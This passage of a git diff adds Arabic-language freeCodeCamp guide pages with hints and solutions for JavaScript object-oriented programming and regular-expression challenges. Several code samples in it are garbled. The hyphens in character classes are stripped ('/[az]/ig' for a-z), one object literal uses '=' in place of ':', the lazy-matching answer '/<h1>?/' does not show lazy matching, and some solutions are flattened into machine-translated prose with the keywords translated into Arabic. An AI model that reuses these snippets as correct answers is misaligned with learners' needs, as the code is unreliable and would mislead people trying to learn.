+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
@@ -0,0 +1,21 @@
+---
+title: Use Closure to Protect Properties Within an Object from Being Modified Externally
+localeTitle: استخدم Closure لحماية الخصائص داخل كائن من التعديل الخارجي
+---
+## استخدم Closure لحماية الخصائص داخل كائن من التعديل الخارجي
+
+### طريقة
+
+تمامًا كما هو الحال في المثال المعطى ، بدلاً من تعريف متغير `weight` باستخدام `this` الكلمة الرئيسية ، يجب استخدام الكلمة المفتاحية `let` بإعلانها كمتغير خاص. بهذه الطريقة لا يمكن الوصول إليها إلا داخل وظيفة `Bird` . يجب إضافة طريقة `getWeight` داخل وظيفة `Bird` للوصول إلى متغير `weight` .
+
+### حل
+
+ `function Bird() { 
+  let weight = 15; 
+ 
+  this.getWeight = function() { 
+    return weight; 
+  }; 
+ 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
new file mode 100644
index 0000000000..17f1d19606
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
@@ -0,0 +1,30 @@
+---
+title: Use Dot Notation to Access the Properties of an Object
+localeTitle: استخدم Dot Notation للوصول إلى خصائص كائن
+---
+## استخدم Dot Notation للوصول إلى خصائص كائن
+
+### طريقة:
+
+ستقوم التعليمة البرمجية التالية ببساطة طباعة `property1` من كائن `obj` .
+
+ `let obj = { 
+  property1 = 1, 
+  property2 = 2 
+ }; 
+ 
+ console.log(obj.property1); 
+` 
+
+باتباع هذا المنطق ، استخدم عملية `console.log` لطباعة كل من `property1` و `property2` على الشاشة.
+
+### حل:
+
+ `let dog = { 
+  name: "Spot", 
+  numLegs: 4 
+ }; 
+ // Add your code below this line 
+ console.log(dog.name); 
+ console.log(dog.numLegs); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
new file mode 100644
index 0000000000..bf0157939a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
@@ -0,0 +1,35 @@
+---
+title: Use Inheritance So You Don't Repeat Yourself
+localeTitle: استخدام الوراثة حتى لا تكرر نفسك
+---
+## استخدام الوراثة حتى لا تكرر نفسك
+
+### حل
+
+قم بإزالة طريقة "تناول الطعام" من Cat.prototype و Bear.prototype وأضفها إلى Animal.prototype.
+
+ `function Cat(name) { 
+  this.name = name; 
+ }; 
+ 
+ Cat.prototype = { 
+  constructor: Cat 
+ }; 
+ 
+ function Bear(name) { 
+  this.name = name; 
+ }; 
+ 
+ Bear.prototype = { 
+  constructor: Bear 
+ }; 
+ 
+ function Animal() { }; 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
new file mode 100644
index 0000000000..2d193dd449
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
@@ -0,0 +1,28 @@
+---
+title: Use Prototype Properties to Reduce Duplicate Code
+localeTitle: استخدم خصائص النموذج لتخفيض قانون مكرر
+---
+## استخدم خصائص النموذج لتخفيض قانون مكرر
+
+### طريقة:
+
+تسمح لك خاصية `prototype` بإضافة خصائص جديدة إلى مُنشئ كائن من خارج كتلة التعليمات البرمجية الأصلية. كما تسمح لك خاصية النموذج الأولي بإضافة وظائف جديدة إلى مُنشئ الكائنات. يوضح التعليمة البرمجية التالية كيفية استخدام `.prototype` على كائن لإنشاء خاصية جديدة في المُنشئ.
+
+#### مثال:
+
+ `Obj.prototype.newProperty = "New Property!"; 
+` 
+
+باستخدام هذا المنطق ، ببساطة إنشاء خاصية `prototype` جديد لـ `numLegs` . يمكن تمرير حالات الاختبار عن طريق استبدال كائن `Bird` بكائن `Dog` في المثال المعطى - `Bird.prototype.numLegs = 2;`
+
+### حل:
+
+ `function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ // Add your code above this line 
+ let beagle = new Dog("Snoopy"); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
new file mode 100644
index 0000000000..f8b4ce5308
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
@@ -0,0 +1,29 @@
+---
+title: Verify an Object's Constructor with instanceof
+localeTitle: تحقق من Constructor كائن مع instanceof
+---
+## تحقق من Constructor كائن مع instanceof
+
+### طريقة:
+
+تماماً كما في التحدي الأخير ، قم بإنشاء كائن جديد - `myHouse` - باستخدام المُنشئ المعطى.
+
+#### مثال:
+
+ `let hound = new Dog(); 
+` 
+
+تذكر أن تعطي الدالة `House` معلمة لتهيئة عدد الغرف. ثم ببساطة استدعاء العامل `instanceof` للعودة حقيقية على منزلك الجديد.
+
+### حل:
+
+ `/* jshint expr: true */ 
+ 
+ function House(numBedrooms) { 
+  this.numBedrooms = numBedrooms; 
+ } 
+ 
+ // Add your code below this line 
+ let myHouse = new House(5); 
+ myHouse instanceof House; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
new file mode 100644
index 0000000000..8342fae4e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
@@ -0,0 +1,9 @@
+---
+title: Check for All or None
+localeTitle: تحقق من الكل أو لا شيء
+---
+## تحقق من الكل أو لا شيء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
new file mode 100644
index 0000000000..76da897751
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
@@ -0,0 +1,24 @@
+---
+title: Extract Matches
+localeTitle: استخراج مباريات
+---
+## استخراج مباريات
+
+باستخدام طريقة `match()` ، يمكنك استخراج أجزاء من سلسلة تتطابق مع تعبيرك العادي. في هذا التحدي ، أنت تقوم باستخراج كلمة "ترميز" من السلسلة المقدمة.
+
+## تلميح 1:
+
+قم بتغيير التعبير العادي الخاص بك لاكتشاف كلمة "الترميز".
+
+## تلميح 2:
+
+هل قمت باستدعاء طريقة `match()` على السلسلة؟
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `let extractStr = "Extract the word 'coding' from this string."; 
+ let codingRegex = /coding/; 
+ let result = extractStr.match(codingRegex); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
new file mode 100644
index 0000000000..63ac84ac14
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
@@ -0,0 +1,16 @@
+---
+title: Find Characters with Lazy Matching
+localeTitle: العثور على شخصيات مع مطابقة كسول
+---
+## العثور على شخصيات مع مطابقة كسول
+
+#### تحدي دبي:
+
+أصلح regex `/<.*>/` لإرجاع علامة HTML `<h1>` وليس النص `<h1>Winter is coming</h1>` . تذكر حرف البدل. في التعبير العادي يطابق أي حرف.
+
+#### حل:
+
+ `let text = "<h1>Winter is coming</h1>"; 
+ let myRegex = /<h1>?/; // it's the answer! 
+ let result = text.match(myRegex); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
new file mode 100644
index 0000000000..135b9f778c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
@@ -0,0 +1,24 @@
+---
+title: Find More Than the First Match
+localeTitle: العثور على أكثر من المباراة الأولى
+---
+## العثور على أكثر من المباراة الأولى
+
+إذا كان لديك مرات متعددة للتعبير العادي الخاص بك داخل سلسلة ، يمكنك الحصول على وظيفة `match()` لاكتشافها كلها. ببساطة علامة على طول العلم `g` في نهاية regex الخاص بك! هذا ما تفعله في هذا التحدي.
+
+## تلميح 1:
+
+تغيير التعبير العادي بحيث يكتشف كلمة "توينكل".
+
+## تلميح 2:
+
+يمكنك إضافة علامات متعددة إلى تعبير عادي! على سبيل المثال ، يمكن تنظيم تعبير عادي يكتشف تكرارات متعددة ، ويكتشف بغض النظر عن الحالة ، مثل `gi` أو `ig` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `let twinkleStar = "Twinkle, twinkle, little star"; 
+ let starRegex = /twinkle/gi; 
+ let result = twinkleStar.match(starRegex); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
new file mode 100644
index 0000000000..62a1f96daf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
@@ -0,0 +1,37 @@
+---
+title: Find One or More Criminals in a Hunt
+localeTitle: العثور على واحد أو أكثر من المجرمين في مطاردة
+---
+## العثور على واحد أو أكثر من المجرمين في مطاردة
+
+## المشكلة
+
+هربت مجموعة من المجرمين من السجن وهربت ، لكنك لا تعرف عددهم. ومع ذلك ، فأنت تعرف أنها تبقى قريبة من بعضها البعض عندما تكون حول أشخاص آخرين. أنت مسؤول عن العثور على جميع المجرمين في وقت واحد.
+
+اكتب regex الجشع أن يجد واحد أو أكثر من المجرمين داخل مجموعة من الناس الآخرين. يمثل المجرم بحرف كبير.
+
+### تلميح 1:
+
+هل أنت محاطا بك regexp في مائلة؟
+
+ `let regexp = /t.[az]*t/; 
+` 
+
+### تلميح 2:
+
+هل تستخدم علامة "+" في تعبيرك العادي؟
+
+ `let regexp = /E+/; // returns E, EE, EEE patterns 
+` 
+
+### تحذير المفسد - الحل إلى الأمام
+
+## حل
+
+ `let crowd = 'P1P2P3P4P5P6CCCP7P8P9'; 
+ 
+ let reCriminals = /C+/; // Change this line 
+ 
+ let matchedCriminals = crowd.match(reCriminals); 
+ console.log(matchedCriminals); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
new file mode 100644
index 0000000000..bac5973e30
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
@@ -0,0 +1,20 @@
+---
+title: Ignore Case While Matching
+localeTitle: تجاهل حالة أثناء المطابقة
+---
+## تجاهل حالة أثناء المطابقة
+
+عند إنشاء تعبير عادي ، قد ترغب في مطابقة أجزاء من سلسلة متشابهة في التهجئة ، ولكنها مختلفة في الحالة. للقيام بذلك ، يمكنك إضافة علامة `i` إلى نهاية regex. في هذا التحدي ، أنت تفعل ذلك بالضبط.
+
+## تلميح 1:
+
+قم بتعديل regex بحيث يكشف "freeCodeCamp" و "FREECODECAMP" و "FrEeCoDeCaMp". ربما باستخدام العلم `i` قد يساعد؟
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `let myString = "freeCodeCamp"; 
+ let fccRegex = /freeCodeCamp/i; 
+ let result = fccRegex.test(myString); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
new file mode 100644
index 0000000000..c7b67fcb0b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: التعبيرات العادية
+---
+## التعبيرات العادية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
new file mode 100644
index 0000000000..f8bf60d647
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
@@ -0,0 +1,20 @@
+---
+title: Match a Literal String with Different Possibilities
+localeTitle: تطابق سلسلة حرفية مع الاحتمالات المختلفة
+---
+## تطابق سلسلة حرفية مع الاحتمالات المختلفة
+
+لنفترض أنك تريد مطابقة العديد من الكلمات المختلفة مع تعبيرك المعتاد ؛ باستخدام `|` الرمز ، يصبح ذلك ممكنا. في هذا التحدي ، كنت تستخدم هذا الرمز لتحديد أربعة حيوانات أليفة مختلفة مخبأة داخل السلاسل!
+
+## تلميح 1:
+
+داخل السلسلة الحرفية ، ضع أسماء الحيوانات الأليفة ، كل منها مفصولة بواسطة `|` رمز.
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `let petString = "James has a pet cat."; 
+ let petRegex = /dog|cat|bird|fish/; 
+ let result = petRegex.test(petString); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
new file mode 100644
index 0000000000..2a21163b09
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
@@ -0,0 +1,13 @@
+---
+title: Match All Letters and Numbers
+localeTitle: المباراة جميع الحروف والأرقام
+---
+المشكلة استخدم class \\ w حرف الاختصار لحساب عدد الأحرف الأبجدية الرقمية في علامات الاقتباس والسلاسل المختلفة.
+
+حل let quoteSample = "معالجات الملاكمة الخمسة تقفز بسرعة."؛ اترك alphabetRegexV2 = / \\ w / gi؛ // قم بتغيير هذا الخط دع النتيجة = quoteSample.match (alphabetRegexV2) .length؛
+
+## المباراة جميع الحروف والأرقام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
new file mode 100644
index 0000000000..f05b99ef66
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
@@ -0,0 +1,24 @@
+---
+title: Match All Non-Numbers
+localeTitle: المباراة جميع غير الارقام
+---
+## المباراة جميع غير الارقام
+
+## تلميح 1
+
+*   يجب أن تجرب استخدام العلم العالمي.
+
+## تلميح 2
+
+*   جرب استخدام حرف الاختصار للأحرف غير أرقام.
+
+# تنبيه المفسد! الحل قبل
+
+## حل
+
+ `let noNumRegex = /\D/g; 
+` 
+
+## تفسير
+
+*   يتم استخدام الحرف الاختزال `\D` لمطابقة أحرف غير أرقام ، فإنه يحتوي على نفس النتيجة عند استخدام `[^0-9]` ؛
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
new file mode 100644
index 0000000000..25c5457917
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
@@ -0,0 +1,24 @@
+---
+title: Match All Numbers
+localeTitle: تطابق جميع الأرقام
+---
+## تطابق جميع الأرقام
+
+## تلميح 1
+
+*   علمًا عالميًا سيساعدك على مواجهة هذا التحدي.
+
+## تلميح 2
+
+*   حاول استخدام حرف الاختصار لـ `d` igits.
+
+# تنبيه المفسد! الحل قبل
+
+## حل
+
+ `let numRegex = /\d/g; 
+` 
+
+## تفسير
+
+*   الحرف الاختصار `\d` هو اختصار لـ `[0-9]` ، فإنه يبحث عن أي رقم بين 0 و 9.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
new file mode 100644
index 0000000000..0b26664bf9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
@@ -0,0 +1,24 @@
+---
+title: Match Anything with Wildcard Period
+localeTitle: تطابق أي شيء مع فترة أحرف البدل
+---
+## تطابق أي شيء مع فترة أحرف البدل
+
+## تلميح 1:
+
+النقطة `.` هو المفتاح في هذا التحدي.
+
+## تلميح 2:
+
+يجب عليك وضع النقطة على الموضع الصحيح.
+
+## حل
+
+ `let exampleStr = "Let's have fun with regular expressions!"; 
+ let unRegex = /.un/; // Change this line 
+ let result = unRegex.test(exampleStr); 
+` 
+
+## كسبلايناتيون
+
+الفترة `.` سيكون أي حرف واحد حتى سلاسل "تشغيل" ، "الشمس" ، "متعة" و "لعبة الكلمات" لديهم نفس أون charaters.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
new file mode 100644
index 0000000000..92676f88fe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
@@ -0,0 +1,30 @@
+---
+title: Match Beginning String Patterns
+localeTitle: مباراة بداية أنماط سلسلة
+---
+## مباراة بداية أنماط سلسلة
+
+## المشكلة
+
+استخدم حرف الإقحام في تعبير منطقي للبحث عن "Cal" فقط في بداية السلسلة rickyAndCal.
+
+### تلميح 1:
+
+جرِّب محيطك المعتاد بالأشرطة المائلة
+
+ `let testExp = /^test/; 
+ // returns true or false depending on whether test is found in the beginning of the string 
+` 
+
+### تلميح 2:
+
+حاول استخدام علامة الحرف '^' خارج الأقواس كما هو موضح في المثال أعلاه
+
+### تنبيه المفسد - الحل إلى الأمام
+
+## حل
+
+ `let rickyAndCal = "Cal and Ricky both like racing."; 
+ let calRegex = /^Cal/; // Change this line 
+ let result = calRegex.test(rickyAndCal); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
new file mode 100644
index 0000000000..14a3b012d9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Characters that Occur One or More Times
+localeTitle: مطابقة الأحرف التي تحدث مرة واحدة أو أكثر
+---
+## مطابقة الأحرف التي تحدث مرة واحدة أو أكثر
+
+\## المشكلة: تريد البحث عن تطابقات عندما يحدث الحرف s مرة أو أكثر في "Mississippi". اكتب regex يستخدم علامة +. ## الحل
+
+let hardSpelling = "Mississippi"؛ السماح لـ myRegex = / s + / g؛ // هذا هو الحل اسمح للنتيجة = hardSpelling.match (myRegex)؛
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
new file mode 100644
index 0000000000..607591e485
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
@@ -0,0 +1,27 @@
+---
+title: Match Characters that Occur Zero or More Times
+localeTitle: مطابقة الأحرف التي تحدث Zero أو أوقات إضافية
+---
+## مطابقة الأحرف التي تحدث Zero أو أوقات إضافية
+
+لا يجب أن يحدث أي حرف في تعبير regex يتبعه `*` في السلسلة التي تم اختبارها ، في حين يجب أن يظهر أي حرف في تعبير regex متبوعًا بـ `+` في سلسلة واحدة على الأقل ، كما هو موضح أدناه ،
+
+ `let phrase = "ba humbug"; 
+ 
+ let regexPlus = /bah+/; 
+ let regexStar = /bah*/; 
+ 
+ regexPlus.test(phrase);  // returns false 
+ regexStar.test(phrase);  // returns true 
+` 
+
+كلاهما يسمحان بأي عدد من الأحداث من نفس الحرف في صف ، على سبيل المثال ،
+
+ `let phrase = "wooooow look at that!"; 
+ 
+ let regexPlus = /wo+w/; 
+ let regexStar = /wo*w/; 
+ 
+ regexPlus.test(phrase); // returns true 
+ regexStar.test(phrase); // returns true 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
new file mode 100644
index 0000000000..e9ce4c31ea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Ending String Patterns
+localeTitle: تطابق نهاية أنماط سلسلة
+---
+## تطابق نهاية أنماط سلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
new file mode 100644
index 0000000000..e934931794
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Everything But Letters and Numbers
+localeTitle: تطابق كل شيء لكن الحروف والأرقام
+---
+## تطابق كل شيء لكن الحروف والأرقام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..88656d298d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
@@ -0,0 +1,24 @@
+---
+title: Match Letters of the Alphabet
+localeTitle: تطابق حروف الأبجدية
+---
+## تطابق حروف الأبجدية
+
+في هذا التحدي ، يُطلب منك مطابقة جميع حروف الأبجدية داخل سلسلة معينة. لا تقوم فقط بمطابقة / البحث عن هذه الأحرف ، ولكن يُطلب منك استخراجها.
+
+### تلميح 1:
+
+تذكر أنك مطالب لاستخراج الأحرف من السلسلة - وهذا لا يمكن القيام به باستخدام طريقة .test () لأنه يقوم بإرجاع True أو False. في هذه الحالة ، نحتاج إلى استخراج النتيجة الفعلية من السلسلة باستخدام طريقة .match ().
+
+### تلميح 2:
+
+هل تستخدم علامة حالة الأحرف (match) الخاصة بالأسلوب مع الأقواس؟ على سبيل المثال regExp = / \[ae\] / vs regExp = / ae /. ما يسمح لنا القيام به هو البحث في السلسلة عن أي أحرف مطابقة \[a، b، c، ... e\] باستخدام التدوين المختصر / \[ae\] /.
+
+### تنبيه المفسد: الحل إلى الأمام
+
+## حل
+
+ `let quoteSample = "The quick brown fox jumps over the lazy dog."; 
+ let alphabetRegex = /[az]/ig; // Change this line 
+ let result = quoteSample.match(alphabetRegex); // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
new file mode 100644
index 0000000000..fbd7547599
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
@@ -0,0 +1,22 @@
+---
+title: Match Literal Strings
+localeTitle: المباراة الحرفيه الاوتار
+---
+## المباراة الحرفيه الاوتار
+
+هذا التحدي لا يختلف عن السابق. في هذه الحالة ، أنت تعلم أن حرفية السلسلة تكون حساسة لحالة الأحرف. وهذا يعني أنه عندما تختبر لمعرفة ما إذا كانت السلسلة تحتوي على حرفي ، فستبحث عن الحالة الدقيقة (السفلية أو العلوية) داخل السلسلة. سوف تتعلم كيفية العثور على حرفية سلسلة بغض النظر عن حالتهم ، في درس قادم.
+
+في هذا التحدي ، كنت تجد والدو ... داخل سلسلة!
+
+## تلميح 1:
+
+تغيير الخط لجعل السلسلة الصحيحة حرفية.
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `let waldoIsHiding = "Somewhere Waldo is hiding in this text."; 
+ let waldoRegex = /Waldo/; // Change this line 
+ let result = waldoRegex.test(waldoIsHiding); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
new file mode 100644
index 0000000000..c9ec75302b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Non-Whitespace Characters
+localeTitle: تطابق أحرف غير بيضاء
+---
+## تطابق أحرف غير بيضاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..c7089d5eca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
